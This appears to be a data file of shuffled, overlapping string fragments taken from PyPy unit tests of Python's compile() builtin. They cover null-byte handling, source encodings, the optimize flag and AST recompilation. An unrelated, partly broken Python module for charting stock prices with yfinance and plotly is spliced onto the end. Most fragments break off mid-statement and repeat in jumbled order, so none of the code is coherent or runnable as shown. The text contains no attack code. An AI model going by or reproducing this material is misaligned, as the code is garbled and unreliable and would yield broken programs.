\"#abc\\x00def\\n\" compile(src, 'mymod', 'exec', PyCF_ACCEPT_NULL_BYTES) # works", "= compile(to_compile, \"<test>\", \"exec\", optimize=1) ns = {} exec(compiled, ns)", "'<ast>', 'eval', _ast.PyCF_ONLY_AST) is co2 def test_leading_newlines(self): src = \"\"\"", "'eval') except SyntaxError as e: assert e.lineno == 1 def", "co1 = compile('print(1)', '<string>', 'exec', _ast.PyCF_ONLY_AST) raises(TypeError, compile, co1, '<ast>',", "test_leading_newlines(self): src = \"\"\" def fn(): pass \"\"\" co =", "except ImportError: skip('PyPy only (requires _ast.PyCF_ACCEPT_NULL_BYTES)') raises(SyntaxError, compile, '\\x00', 'mymod',", "= compile(to_compile, \"<test>\", \"exec\", optimize=2) ns = {} exec(compiled, ns)", "= {} exec(code, ns) rv = ns['f']() assert rv ==", "= [(-1, __debug__, f.__doc__), (0, True, 'doc'), (1, False, 'doc'),", "assert firstlineno == 2 def test_null_bytes(self): raises(ValueError, compile, '\\x00', 'mymod',", "in marshalled class TestOptimizeO: \"\"\"Test interaction of -O flag and", "code = b\"# -*- coding: utf-8 -*-\\npass\\n\" compile(code, \"tmp\", \"exec\")", "doesn't match with compile mode co1 = compile('print(1)', '<string>', 'exec',", "(2, False, None)] for optval, debugval, docstring in values: #", "with optimize=2.\"\"\" import ast import marshal code = \"\"\" 'module_doc'", "assert is ignored with -O and optimize=-1.\"\"\" space = self.space", "'exec', 0) def test_null_bytes_flag(self): try: from _ast import PyCF_ACCEPT_NULL_BYTES except", "-*-\\n', 'dummy', 'exec') assert 'fake' in str(exc.value) assert 'BOM' in", "return (True, f.__doc__) else: return (False, f.__doc__) ''' def f():", "ImportError: skip('PyPy only (requires _ast.PyCF_ACCEPT_NULL_BYTES)') raises(SyntaxError, compile, '\\x00', 'mymod', 'exec',", "in [code, tree]: compiled = compile(to_compile, \"<test>\", \"exec\", optimize=2) ns", "marshal code = \"\"\" 'module_doc' def f(): 'func_doc' class C:", "assert 'fake' in str(exc.value) assert 'BOM' in str(exc.value) def test_unicode(self):", "the part of the original test that was failing.\"\"\" import", "compile, '-', '?', 'eval') raises(SyntaxError, compile, '\"\\\\xt\"', '?', 'eval') raises(ValueError,", "optval, debugval, docstring in values: # test both direct compilation", "debugval, docstring, i) ns = {} exec(code, ns) rv =", "set but optimize=0.\"\"\" space = self.space w_res = space.appexec([], \"\"\"():", "compilation via AST codeobjs = [] codeobjs.append( compile(codestr, \"<test>\", \"exec\",", "exc = raises(SyntaxError, compile, b'\\xef\\xbb\\xbf# -*- coding: fake -*-\\n', 'dummy',", "exec(compile('assert False', '', 'exec', optimize=0)) except AssertionError: return True else:", "if -O flag is set but optimize=0.\"\"\" space = self.space", "string cannot contain null bytes\" compile(\"from __future__ import with_statement\", \"<test>\",", "cpython3.5.0a0 behaves the same way as PyPy (__debug__ follows #", "code = \"\"\"def f(): assert False \"\"\" tree = ast.parse(code)", "tree]: compiled = compile(to_compile, \"<test>\", \"exec\", optimize=1) ns = {}", "(debugval, docstring) def test_assert_remove(self): \"\"\"Test removal of the asserts with", "optimize parameter of compile.\"\"\" def setup_method(self, method): space = self.space", "'?', 'eval') assert eval(co) == 3 co = compile(memoryview(b'1+2'), '?',", "PyPy (__debug__ follows # -O, -OO flags of the interpreter).", "False, None)] for optval, debugval, docstring in values: # test", "# imitate -O space.sys.debug = False def teardown_method(self, method): self.space.sys.debug", "assert eval(m) == 3 ns = {} exec(memoryview(b'r = 2", "= ast.parse(code) for to_compile in [code, tree]: compiled = compile(to_compile,", "assert False \"\"\" tree = ast.parse(code) for to_compile in [code,", "assert 'class_doc' not in marshalled class TestOptimizeO: \"\"\"Test interaction of", "\"exec\") raises(SyntaxError, compile, '-', '?', 'eval') raises(SyntaxError, compile, '\"\\\\xt\"', '?',", "str(exc.value) assert 'BOM' in str(exc.value) exc = raises(SyntaxError, compile, b'\\xef\\xbb\\xbf#", "and optimize parameter of compile.\"\"\" def setup_method(self, method): space =", "[code, tree]: compiled = compile(to_compile, \"<test>\", \"exec\", optimize=1) ns =", "compile(b\"# coding: latin1\\nfoo = 'caf\\xe9'\\n\", \"<string>\", \"exec\") ns = {}", "f.__doc__) else: return (False, f.__doc__) ''' def f(): \"\"\"doc\"\"\" values", "ns['foo'] == 'café' assert eval(b\"# coding: latin1\\n'caf\\xe9'\\n\") == 'café' def", "\"exec\", optimize=2) ns = {} exec(compiled, ns) assert '__doc__' not", "assert eval(co) == 3 assert eval(m) == 3 ns =", "in str(exc.value) assert 'BOM' in str(exc.value) def test_unicode(self): try: compile(u'-',", "compile mode co1 = compile('print(1)', '<string>', 'exec', _ast.PyCF_ONLY_AST) raises(TypeError, compile,", "[] codeobjs.append( compile(codestr, \"<test>\", \"exec\", optimize=optval)) tree = ast.parse(codestr) codeobjs.append(compile(tree,", "asserts with optimize=1.\"\"\" import ast code = \"\"\"def f(): assert", "not just # inaccessible. marshalled = str(marshal.dumps(compiled)) assert 'module_doc' not", "\"\"\" co = compile(src, 'mymod', 'exec') firstlineno = co.co_firstlineno assert", "def test_unicode(self): try: compile(u'-', '?', 'eval') except SyntaxError as e:", "\"\\n\", \"<string>\", \"exec\", 0xff) raises(TypeError, compile, '1+2', 12, 34) def", "co2 def test_leading_newlines(self): src = \"\"\" def fn(): pass \"\"\"", "True else: return False \"\"\") assert space.unwrap(w_res) def test_O_optimize__1(self): \"\"\"Test", "coding: utf-8 class AppTestCompile: def test_simple(self): import sys co =", "except SyntaxError as e: assert e.lineno == 1 def test_unicode_encoding(self):", "the bytecode and not just # inaccessible. marshalled = str(marshal.dumps(compiled))", "teardown_method(self, method): self.space.sys.debug = self._sys_debug def test_O_optmize_0(self): \"\"\"Test that assert", "that the docstrings are gone from the bytecode and not", "both direct compilation and compilation via AST codeobjs = []", "# test both direct compilation and compilation via AST codeobjs", "compile, src, 'mymod', 'exec', 0) def test_null_bytes_flag(self): try: from _ast", "i) ns = {} exec(code, ns) rv = ns['f']() assert", "way as PyPy (__debug__ follows # -O, -OO flags of", "'iso-8859-15' in str(exc.value) assert 'BOM' in str(exc.value) exc = raises(SyntaxError,", "\"exec\", 0xff) raises(TypeError, compile, '1+2', 12, 34) def test_error_message(self): import", "str(exc.value) exc = raises(SyntaxError, compile, b'\\xef\\xbb\\xbf# -*- coding: fake -*-\\n',", "optimize=2.\"\"\" import ast import marshal code = \"\"\" 'module_doc' def", "import marshal code = \"\"\" 'module_doc' def f(): 'func_doc' class", "compile, '\\x00', 'mymod', 'exec', PyCF_ACCEPT_NULL_BYTES) src = \"#abc\\x00def\\n\" compile(src, 'mymod',", "= self.space self._sys_debug = space.sys.debug # imitate -O space.sys.debug =", "= raises(SyntaxError, compile, b'# -*- coding: fake -*-\\n', 'dummy', 'exec')", "assert eval(co) == 3 co = compile(memoryview(b'1+2'), '?', 'eval') assert", "re compile('# -*- coding: iso-8859-15 -*-\\n', 'dummy', 'exec') compile(b'\\xef\\xbb\\xbf\\n', 'dummy',", "ns['f']() assert rv == (debugval, docstring) def test_assert_remove(self): \"\"\"Test removal", "co1, '<ast>', 'eval') co2 = compile('1+1', '<string>', 'eval', _ast.PyCF_ONLY_AST) tree", "raises(SyntaxError, compile, b'\\xef\\xbb\\xbf# -*- coding: iso-8859-15 -*-\\n', 'dummy', 'exec') assert", "'exec') assert 'iso-8859-15' in str(exc.value) assert 'BOM' in str(exc.value) exc", "compile, chr(0), '?', 'eval') assert str(exc.value) == \"source code string", "coding: fake -*-\\n', 'dummy', 'exec') assert 'fake' in str(exc.value) assert", "optimize=optval)) tree = ast.parse(codestr) codeobjs.append(compile(tree, \"<test>\", \"exec\", optimize=optval)) for i,", "'maybenot') raises(ValueError, compile, \"\\n\", \"<string>\", \"exec\", 0xff) raises(TypeError, compile, '1+2',", "assert ns['foo'] == 'café' assert eval(b\"# coding: latin1\\n'caf\\xe9'\\n\") == 'café'", "_ast # raise exception when node type doesn't match with", "'fake' in str(exc.value) assert 'BOM' in str(exc.value) def test_unicode(self): try:", "compile(src, 'mymod', 'exec') firstlineno = co.co_firstlineno assert firstlineno == 2", "f(): \"\"\"doc\"\"\" values = [(-1, __debug__, f.__doc__), (0, True, 'doc'),", "interaction of -O flag and optimize parameter of compile.\"\"\" def", "compile(to_compile, \"<test>\", \"exec\", optimize=1) ns = {} exec(compiled, ns) ns['f']()", "\"\"\"(): exec(compile('assert False', '', 'exec', optimize=-1)) \"\"\") # TODO: Check", "co2 = compile('1+1', '<string>', 'eval', _ast.PyCF_ONLY_AST) tree = compile(co2, '<ast>',", "raises(SyntaxError, compile, b'# -*- coding: fake -*-\\n', 'dummy', 'exec') assert", "co = compile(m, 'baz', 'eval') assert eval(co) == 3 assert", "(requires _ast.PyCF_ACCEPT_NULL_BYTES)') raises(SyntaxError, compile, '\\x00', 'mymod', 'exec', PyCF_ACCEPT_NULL_BYTES) src =", "def test_assert_remove(self): \"\"\"Test removal of the asserts with optimize=1.\"\"\" import", "test_assert_remove(self): \"\"\"Test removal of the asserts with optimize=1.\"\"\" import ast", "test_memoryview(self): m = memoryview(b'2 + 1') co = compile(m, 'baz',", "ast import marshal code = \"\"\" 'module_doc' def f(): 'func_doc'", "test_recompile_ast(self): import _ast # raise exception when node type doesn't", "compiled = compile(to_compile, \"<test>\", \"exec\", optimize=2) ns = {} exec(compiled,", "''' def f(): \"\"\"doc\"\"\" values = [(-1, __debug__, f.__doc__), (0,", "\"\"\"Test that assert is not ignored if -O flag is", "ast.parse(code) for to_compile in [code, tree]: compiled = compile(to_compile, \"<test>\",", "utf-8 class AppTestCompile: def test_simple(self): import sys co = compile('1+2',", "and not just # inaccessible. marshalled = str(marshal.dumps(compiled)) assert 'module_doc'", "codeobjs.append( compile(codestr, \"<test>\", \"exec\", optimize=optval)) tree = ast.parse(codestr) codeobjs.append(compile(tree, \"<test>\",", "According to the documentation, it should follow the optimize flag." ]
[ "ticker_hist = ticker_obj.history(period = 'max') if start and end: start_date,", "stepmode=\"backward\"), dict(count=6, label=\"6m\", step=\"month\", stepmode=\"backward\"), dict(count=1, label=\"YTD\", step=\"year\", stepmode=\"todate\"), dict(count=1,", "title = 'Last 90 Days Close Pearson Correlation Heatmap', width", "ticker_info['forwardEps'] trailingeps = ticker_info['trailingEps'] shares_outstanding = str(round(ticker_info['sharesOutstanding']/1000000,2)) + 'M' shares_short", "short_perc_float = ticker_info['shortPercentOfFloat'] perc_institutions = str(round(ticker_info['heldPercentInstitutions']*100,2)) + '%' perc_insiders =", "printmd(ticker + \" Return: {:.2f}%\".format((end_price - start_price)/start_price*100)) if len(tickers) >", "shares_short, shares_short_perc_outstanding, floatshares, short_perc_float] stock_info_df = pd.DataFrame(stock_info, index = ['Market", "'Short % of Outstanding (Prev Mo)', 'Shares Float', 'Short %", "= ', '.join(tickers) + ' Last 90 Days Correlation', xaxis_title", "Cap', 'Name', 'Sector', 'Industry', 'Country', 'Beta', 'Day Volume (Most recent)',", "Timeframe:') printmd(\"Return: {:.2f}%\".format((end_price - start_price)/start_price*100)) try: ticker_info = ticker_obj.info print()", "'Beta', 'Day Volume (Most recent)', 'Avg 10D Volume', 'P/S Trailing", "end_date = ticker_hist.index[0], ticker_hist.index[-1] frame = ticker_hist.loc[start_date:end_date].copy() frame['Norm Close'] =", "- start_price)/start_price*100)) try: ticker_info = ticker_obj.info print() printmd('Business Summary: '", "+ 'M' most_recent_vol = str(round(ticker_info['volume']/1000000,2)) + 'M' try: beta =", "name = 'Close')) for i in range(len(trade_history)): trade_date = trade_history.loc[i,", "as px import plotly.graph_objects as go from plotly.subplots import make_subplots", "except: pass def compare_charts(tickers = [], start = None, end", "'yes'): if len(tickers) <= 1: raise Exception(\"Please enter at least", "type=\"date\" ) ) fig.show() start_price, end_price = frame.iloc[0]['Close'], frame.iloc[-1]['Close'] def", "- start_price)/start_price*100)) if len(tickers) > 2: concat_closing_90_days = pd.concat(closing_90_days, axis", "as np from datetime import date, timedelta def plot_and_get_info(ticker, start", "), type=\"date\" ) ) fig.show() start_price, end_price = frame.iloc[0]['Close'], frame.iloc[-1]['Close']", "+ 'M' shares_short_perc_outstanding = str(round(ticker_info['sharesPercentSharesOut']*100,2)) + '%' floatshares = str(round(ticker_info['floatShares']/1000000,2))", "= str(round(ticker_info['shortPercentOfFloat']*100,2)) + '%' except: short_perc_float = ticker_info['shortPercentOfFloat'] perc_institutions =", "pandas as pd from IPython.display import Markdown import numpy as", "mode = 'lines', name = ticker + ' Norm Close'))", "name = 'Close'), row = 1, col = 1) if", "date, timedelta def plot_and_get_info(ticker, start = None, end = None,", "{quantity}, T: {total}, D: {trade_date}') if side == 'sell': fig.add_annotation(x", "stepmode=\"backward\"), dict(count=3, label=\"3m\", step=\"month\", stepmode=\"backward\"), dict(count=6, label=\"6m\", step=\"month\", stepmode=\"backward\"), dict(count=1,", "short_perc_float] stock_info_df = pd.DataFrame(stock_info, index = ['Market Cap', 'Name', 'Sector',", "]) ), type=\"date\" ) ) fig.show() start_price, end_price = frame.iloc[0]['Close'],", "gain = trade_history.loc[i, 'Gain'] perc_gain = trade_history.loc[i, '% Gain'] if", "label=\"1y\", step=\"year\", stepmode=\"backward\"), dict(step=\"all\") ]) ), rangeslider=dict( visible=True, thickness =", "= ticker_obj.history(period = 'max') if start and end: start_date, end_date", "label=\"1m\", step=\"month\", stepmode=\"backward\"), dict(count=3, label=\"3m\", step=\"month\", stepmode=\"backward\"), dict(count=6, label=\"6m\", step=\"month\",", "dict(count=1, label=\"YTD\", step=\"year\", stepmode=\"todate\"), dict(count=1, label=\"1y\", step=\"year\", stepmode=\"backward\"), dict(step=\"all\") ])", "if len(tickers) <= 1: raise Exception(\"Please enter at least two", "90 Days Correlation', xaxis_title = tickers[0], yaxis_title = tickers[1], width", "ma = 'yes'): if len(tickers) <= 1: raise Exception(\"Please enter", "display(concat_closing_90_days.corr()) fig2 = px.imshow(concat_closing_90_days.corr(), color_continuous_scale = 'blues', title = 'Last", "start_price)/start_price*100)) try: ticker_info = ticker_obj.info print() printmd('Business Summary: ' +", "500) fig2.show() printmd(\"Pearson Correlation: \" + str(round(closing_90_days[0].loc[:, tickers[0]].corr(closing_90_days[1].loc[:, tickers[1]]),3))) print()", "= round(ticker_info['priceToSalesTrailing12Months'],2) except: ps_trailing_12mo = ticker_info['priceToSalesTrailing12Months'] try: forwardpe = round(ticker_info['forwardPE'],2)", "f'S, P: {price}, Q: {quantity}, T: {total}, D: {trade_date}, G:", "fig.add_trace(go.Scatter(x = closing_prices.index, y = closing_prices, mode = 'lines', name", "'Date']) - timedelta(150)).strftime(\"%Y-%m-%d\") today_date = date.today().strftime(\"%Y-%m-%d\") frame = ticker_hist.loc[start_date:today_date] closing_prices", "ticker_hist.loc[start_date:end_date] closing_prices = frame['Close'] volume = frame['Volume'] fig = make_subplots(rows=2,", "fig = make_subplots(rows=2, cols=1, shared_xaxes=True, vertical_spacing=0.03, row_heights = [0.8, 0.2])", "fig2 = go.Figure() fig2.add_trace(go.Scatter(x = closing_90_days[0].loc[:, tickers[0]], y = closing_90_days[1].loc[:,", "= 0.1 ), type=\"date\" ) ) fig.show() printmd('Given Timeframe:') for", "= yf.Ticker(ticker) ticker_hist = ticker_obj.history(period = 'max') if len(ticker_hist) ==", "round(ticker_info['priceToSalesTrailing12Months'],2) except: ps_trailing_12mo = ticker_info['priceToSalesTrailing12Months'] try: forwardpe = round(ticker_info['forwardPE'],2) except:", "500, height = 400) fig2.show() else: fig2 = go.Figure() fig2.add_trace(go.Scatter(x", "-30, arrowsize = 1.5, align = 'left', hovertext = f'B,", "if ma == 'yes': closing_prices_ma = frame['Close'].rolling(7).mean() fig.add_trace(go.Scatter(x = closing_prices_ma.index,", "), type=\"date\" ) ) fig.show() printmd('Given Timeframe:') for ticker in", "floatshares, short_perc_float] stock_info_df = pd.DataFrame(stock_info, index = ['Market Cap', 'Name',", "start_end_prices[ticker]['end_price'] printmd(ticker + \" Return: {:.2f}%\".format((end_price - start_price)/start_price*100)) if len(tickers)", "frame = ticker_hist.loc[start_date:today_date] closing_prices = frame['Close'] fig = go.Figure() fig.add_trace(go.Scatter(x", "fig.update_layout(height = 600, xaxis=dict( rangeselector=dict( buttons=list([ dict(count=7, label=\"1w\", step=\"day\", stepmode=\"backward\"),", "shares_outstanding = str(round(ticker_info['sharesOutstanding']/1000000,2)) + 'M' shares_short = str(round(ticker_info['sharesShort']/1000000,2)) + 'M'", "ticker_obj = yf.Ticker(ticker) ticker_hist = ticker_obj.history(period = 'max') if start", "label=\"3m\", step=\"month\", stepmode=\"backward\"), dict(count=6, label=\"6m\", step=\"month\", stepmode=\"backward\"), dict(count=1, label=\"YTD\", step=\"year\",", "of Float (Prev Mo)'], columns = ['Info']) print() display(stock_info_df) except:", "+ ' Last 90 Days Correlation', xaxis_title = tickers[0], yaxis_title", "import numpy as np from datetime import date, timedelta def", "= 'lines', name = ticker + ' Norm Close')) if", "trade_date, y = price, text = f'SS', showarrow = True,", "ticker_info['sector'] industry = ticker_info['industry'] country = ticker_info['country'] avg10d_vol = str(round(ticker_info['averageDailyVolume10Day']/1000000,2))", "= trade_history.loc[i, 'Avg_Price'] quantity = trade_history.loc[i, 'Quantity'] total = trade_history.loc[i,", "total = trade_history.loc[i, 'Total'] side = trade_history.loc[i, 'Side'] gain =", "def normalize_data(column): min = column.min() max = column.max() # time", "'Avg_Price'] quantity = trade_history.loc[i, 'Quantity'] total = trade_history.loc[i, 'Total'] side", "index = ['Market Cap', 'Name', 'Sector', 'Industry', 'Country', 'Beta', 'Day", "= ticker_hist.loc[start_date:end_date] closing_prices = frame['Close'] volume = frame['Volume'] fig =", "str(round(ticker_info['shortPercentOfFloat']*100,2)) + '%' except: short_perc_float = ticker_info['shortPercentOfFloat'] perc_institutions = str(round(ticker_info['heldPercentInstitutions']*100,2))", "closing_prices, mode = 'lines', name = 'Close')) for i in", "= 'blues', title = 'Last 90 Days Close Pearson Correlation", "= ticker_info['pegRatio'] forwardeps = ticker_info['forwardEps'] trailingeps = ticker_info['trailingEps'] shares_outstanding =", "go.Figure() for ticker in tickers: ticker_obj = yf.Ticker(ticker) ticker_hist =", "fig.add_annotation(x = trade_date, y = price, text = f'BB', showarrow", "Outstanding (Prev Mo)', 'Shares Float', 'Short % of Float (Prev", "str(round(ticker_info['marketCap']/1000000000,2)) + 'B' longname = ticker_info['longName'] sector = ticker_info['sector'] industry", "= True, arrowhead = 1, ax = -0.5, ay =", "= 1.5, align = 'right', hovertext = f'S, P: {price},", "trade_history.loc[i, 'Total'] side = trade_history.loc[i, 'Side'] gain = trade_history.loc[i, 'Gain']", "trade_history.loc[i, '% Gain'] if side == 'buy': fig.add_annotation(x = trade_date,", "None, ma = 'yes'): if len(tickers) <= 1: raise Exception(\"Please", "True, arrowhead = 1, ax = 20, ay = -30,", "20, ay = -30, arrowsize = 1.5, align = 'right',", "start_price, end_price = frame.iloc[0]['Close'], frame.iloc[-1]['Close'] def printmd(string): display(Markdown(string)) printmd('Given Timeframe:')", "in range(len(trade_history)): trade_date = trade_history.loc[i, 'Date'] price = trade_history.loc[i, 'Avg_Price']", "EPS', 'Trailing EPS', 'Shares Outstanding', 'Institutions % of Oustanding', 'Insiders", "(column - min) / (max - min) return y def", "{price}, Q: {quantity}, T: {total}, D: {trade_date}') if side ==", "axis = 1) print('\\n') printmd(\"Last 90 Days Close Pearson Correlation", "= tickers[1], width = 1000, height = 500) fig2.show() printmd(\"Pearson", "width = 500, height = 400) fig2.show() else: fig2 =", "= 'lines', name = 'Close')) for i in range(len(trade_history)): trade_date", "= str(round(ticker_info['floatShares']/1000000,2)) + 'M' try: short_perc_float = str(round(ticker_info['shortPercentOfFloat']*100,2)) + '%'", "def compare_charts(tickers = [], start = None, end = None,", "= normalize_data(frame['Close']) closing_prices = frame['Norm Close'] start_end_prices[ticker] = {'start_price': frame.iloc[0]['Close'],", "str(round(ticker_info['heldPercentInstitutions']*100,2)) + '%' perc_insiders = str(round(ticker_info['heldPercentInsiders']*100,2)) + '%' stock_info =", "'lines', name = ticker + '7D Close Moving Average')) fig.update_layout(title", "1) if ma == 'yes': closing_prices_ma = frame['Close'].rolling(7).mean() fig.add_trace(go.Scatter(x =", "ticker_hist = ticker_obj.history(period = 'max') if len(ticker_hist) == 0: return", "trade_date, y = price, text = f'BB', showarrow = True,", "arrowsize = 1.5, align = 'left', hovertext = f'B, P:", "Average')) fig.update_layout(title = ', '.join(tickers) + ' Comparison', yaxis_title =", "row=2, col=1) fig.update_yaxes(title_text=\"Price\", row=1, col=1) fig.update_layout(title=ticker, height = 600, xaxis=dict(", "Oustanding', 'Shares Short (Prev Mo)', 'Short % of Outstanding (Prev", "enter at least two tickers to compare\") def normalize_data(column): min", "end else: start_date, end_date = ticker_hist.index[0], ticker_hist.index[-1] frame = ticker_hist.loc[start_date:end_date]", "= None, end = None, ma = 'yes'): if len(tickers)", "frame['Close'] fig = go.Figure() fig.add_trace(go.Scatter(x = closing_prices.index, y = closing_prices,", "from datetime import date, timedelta def plot_and_get_info(ticker, start = None,", "= ['Market Cap', 'Name', 'Sector', 'Industry', 'Country', 'Beta', 'Day Volume", "beta = round(ticker_info['beta'],2) except: beta = ticker_info['beta'] try: ps_trailing_12mo =", "'Forward P/E', 'PEG Ratio', 'Forward EPS', 'Trailing EPS', 'Shares Outstanding',", "fig.update_layout(title = ', '.join(tickers) + ' Comparison', yaxis_title = 'Norm", "'Close'), row = 1, col = 1) if ma ==", "stock_info = [market_cap, longname, sector, industry, country, beta, most_recent_vol, avg10d_vol,", "= ticker + ' Norm Close')) if ma == 'yes':", "[0.8, 0.2]) fig.add_trace(go.Scatter(x = closing_prices.index, y = closing_prices, mode =", "end_date = start, end else: start_date, end_date = ticker_hist.index[0], ticker_hist.index[-1]", "height = 400) fig2.show() else: fig2 = go.Figure() fig2.add_trace(go.Scatter(x =", "'lines', name = 'Close')) for i in range(len(trade_history)): trade_date =", "Average'), row = 1, col = 1) fig.add_trace(go.Bar(x = closing_prices.index,", "# time series normalization # y will be a column", "mode = 'lines', name = '7D Close Moving Average'), row", "columns = ['Info']) print() display(stock_info_df) except: pass def compare_charts(tickers =", "% of Oustanding', 'Insiders % of Oustanding', 'Shares Short (Prev", "printmd(\"Last 90 Days Close Pearson Correlation Matrix: \") display(concat_closing_90_days.corr()) fig2", "except: ps_trailing_12mo = ticker_info['priceToSalesTrailing12Months'] try: forwardpe = round(ticker_info['forwardPE'],2) except: forwardpe", "{'Norm Close': ticker})) fig.add_trace(go.Scatter(x = closing_prices.index, y = closing_prices, mode", "'%' floatshares = str(round(ticker_info['floatShares']/1000000,2)) + 'M' try: short_perc_float = str(round(ticker_info['shortPercentOfFloat']*100,2))", "fig2 = px.imshow(concat_closing_90_days.corr(), color_continuous_scale = 'blues', title = 'Last 90", "closing_prices = frame['Close'] fig = go.Figure() fig.add_trace(go.Scatter(x = closing_prices.index, y", "None, ma = 'yes'): ticker_obj = yf.Ticker(ticker) ticker_hist = ticker_obj.history(period", "printmd('Given Timeframe:') printmd(\"Return: {:.2f}%\".format((end_price - start_price)/start_price*100)) try: ticker_info = ticker_obj.info", "'yes': ticker += '-USD' ticker_obj = yf.Ticker(ticker) ticker_hist = ticker_obj.history(period", "ps_trailing_12mo, forwardpe, pegratio, forwardeps, trailingeps, shares_outstanding, perc_institutions, perc_insiders, shares_short, shares_short_perc_outstanding,", "', '.join(tickers) + ' Last 90 Days Correlation', xaxis_title =", "ticker_hist.loc[start_date:today_date] closing_prices = frame['Close'] fig = go.Figure() fig.add_trace(go.Scatter(x = closing_prices.index,", "printmd('Business Summary: ' + ticker_info['longBusinessSummary']) market_cap = str(round(ticker_info['marketCap']/1000000000,2)) + 'B'", "ticker in tickers: ticker_obj = yf.Ticker(ticker) ticker_hist = ticker_obj.history(period =", "'lines', name = ticker + ' Norm Close')) if ma", "'%' except: short_perc_float = ticker_info['shortPercentOfFloat'] perc_institutions = str(round(ticker_info['heldPercentInstitutions']*100,2)) + '%'", "Days Close Pearson Correlation Heatmap', width = 500, height =", "hovertext = f'S, P: {price}, Q: {quantity}, T: {total}, D:", "D: {trade_date}') if side == 'sell': fig.add_annotation(x = trade_date, y", "stepmode=\"backward\"), dict(count=1, label=\"1m\", step=\"month\", stepmode=\"backward\"), dict(count=3, label=\"3m\", step=\"month\", stepmode=\"backward\"), dict(count=6,", "+ '%' stock_info = [market_cap, longname, sector, industry, country, beta,", "yf.Ticker(ticker) ticker_hist = ticker_obj.history(period = 'max') if len(ticker_hist) == 0:", "pd from IPython.display import Markdown import numpy as np from", "Return: {:.2f}%\".format((end_price - start_price)/start_price*100)) if len(tickers) > 2: concat_closing_90_days =", "= ticker_info['shortPercentOfFloat'] perc_institutions = str(round(ticker_info['heldPercentInstitutions']*100,2)) + '%' perc_insiders = str(round(ticker_info['heldPercentInsiders']*100,2))", "col=1) fig.update_layout(title=ticker, height = 600, xaxis=dict( rangeselector=dict( buttons=list([ dict(count=7, label=\"1w\",", "type=\"date\" ) ) fig.show() printmd('Given Timeframe:') for ticker in tickers:", "= 'Volume'), row=2, col=1) fig.update_xaxes(rangeslider_visible = True, rangeslider_thickness = 0.1,", "'Total'] side = trade_history.loc[i, 'Side'] gain = trade_history.loc[i, 'Gain'] perc_gain", "= {'start_price': frame.iloc[0]['Close'], 'end_price': frame.iloc[-1]['Close']} closing_90_days.append(closing_prices.iloc[-90:].to_frame().rename(columns = {'Norm Close': ticker}))", "def plot_buysell_points(ticker, tradesdf, crypto = 'no'): trade_history = tradesdf[tradesdf['Symbol'] ==", "of Outstanding (Prev Mo)', 'Shares Float', 'Short % of Float", "fig.add_annotation(x = trade_date, y = price, text = f'SS', showarrow", "quantity = trade_history.loc[i, 'Quantity'] total = trade_history.loc[i, 'Total'] side =", "- min) return y def printmd(string): display(Markdown(string)) start_end_prices = {}", "Price') fig.update_layout(height = 600, xaxis=dict( rangeselector=dict( buttons=list([ dict(count=7, label=\"1w\", step=\"day\",", "stepmode=\"backward\"), dict(step=\"all\") ]) ), type=\"date\" ) ) fig.show() start_price, end_price", "== 'yes': ticker += '-USD' ticker_obj = yf.Ticker(ticker) ticker_hist =", "ticker + '7D Close Moving Average')) fig.update_layout(title = ', '.join(tickers)", "y = closing_prices, mode = 'lines', name = ticker +", "= [] fig = go.Figure() for ticker in tickers: ticker_obj", "Moving Average')) fig.update_layout(title = ', '.join(tickers) + ' Comparison', yaxis_title", "(Prev Mo)', 'Shares Float', 'Short % of Float (Prev Mo)'],", "= closing_90_days[0].loc[:, tickers[0]], y = closing_90_days[1].loc[:, tickers[1]], mode = 'markers',", "y = closing_90_days[1].loc[:, tickers[1]], mode = 'markers', name = 'Norm", "try: forwardpe = round(ticker_info['forwardPE'],2) except: forwardpe = ticker_info['forwardPE'] pegratio =", "closing_prices_ma = frame['Norm Close'].rolling(7).mean() fig.add_trace(go.Scatter(x = closing_prices_ma.index, y = closing_prices_ma,", "]) ), rangeslider=dict( visible=True, thickness = 0.1 ), type=\"date\" )", "tickers: ticker_obj = yf.Ticker(ticker) ticker_hist = ticker_obj.history(period = 'max') if", "EPS', 'Shares Outstanding', 'Institutions % of Oustanding', 'Insiders % of", "min = column.min() max = column.max() # time series normalization", "' Comparison', yaxis_title = 'Norm Price') fig.update_layout(height = 600, xaxis=dict(", "= column.min() max = column.max() # time series normalization #", "make_subplots(rows=2, cols=1, shared_xaxes=True, vertical_spacing=0.03, row_heights = [0.8, 0.2]) fig.add_trace(go.Scatter(x =", "= f'B, P: {price}, Q: {quantity}, T: {total}, D: {trade_date}')", "ax = 20, ay = -30, arrowsize = 1.5, align", "Q: {quantity}, T: {total}, D: {trade_date}, G: {gain}, %G: {perc_gain}')", "def printmd(string): display(Markdown(string)) printmd('Given Timeframe:') printmd(\"Return: {:.2f}%\".format((end_price - start_price)/start_price*100)) try:", "Gain'] if side == 'buy': fig.add_annotation(x = trade_date, y =", "= [0.8, 0.2]) fig.add_trace(go.Scatter(x = closing_prices.index, y = closing_prices, mode", "= 0.1, row=2, col=1) fig.update_yaxes(title_text=\"Price\", row=1, col=1) fig.update_layout(title=ticker, height =", "pegratio, forwardeps, trailingeps, shares_outstanding, perc_institutions, perc_insiders, shares_short, shares_short_perc_outstanding, floatshares, short_perc_float]", "= f'S, P: {price}, Q: {quantity}, T: {total}, D: {trade_date},", "= frame['Close'] fig = go.Figure() fig.add_trace(go.Scatter(x = closing_prices.index, y =", "1.5, align = 'left', hovertext = f'B, P: {price}, Q:", "fig.add_trace(go.Bar(x = closing_prices.index, y = volume, name = 'Volume'), row=2,", "= closing_prices_ma, mode = 'lines', name = '7D Close Moving", "closing_prices = frame['Norm Close'] start_end_prices[ticker] = {'start_price': frame.iloc[0]['Close'], 'end_price': frame.iloc[-1]['Close']}", "= closing_prices, mode = 'lines', name = 'Close'), row =", "closing_prices, mode = 'lines', name = ticker + ' Norm", "Exception(\"Please enter at least two tickers to compare\") def normalize_data(column):", "Float (Prev Mo)'], columns = ['Info']) print() display(stock_info_df) except: pass", "'Country', 'Beta', 'Day Volume (Most recent)', 'Avg 10D Volume', 'P/S", "ma == 'yes': closing_prices_ma = frame['Norm Close'].rolling(7).mean() fig.add_trace(go.Scatter(x = closing_prices_ma.index,", "ticker + ' Norm Close')) if ma == 'yes': closing_prices_ma", "== 'yes': closing_prices_ma = frame['Close'].rolling(7).mean() fig.add_trace(go.Scatter(x = closing_prices_ma.index, y =", "date.today().strftime(\"%Y-%m-%d\") frame = ticker_hist.loc[start_date:today_date] closing_prices = frame['Close'] fig = go.Figure()", "forwardpe = ticker_info['forwardPE'] pegratio = ticker_info['pegRatio'] forwardeps = ticker_info['forwardEps'] trailingeps", "(Most recent)', 'Avg 10D Volume', 'P/S Trailing 12mo', 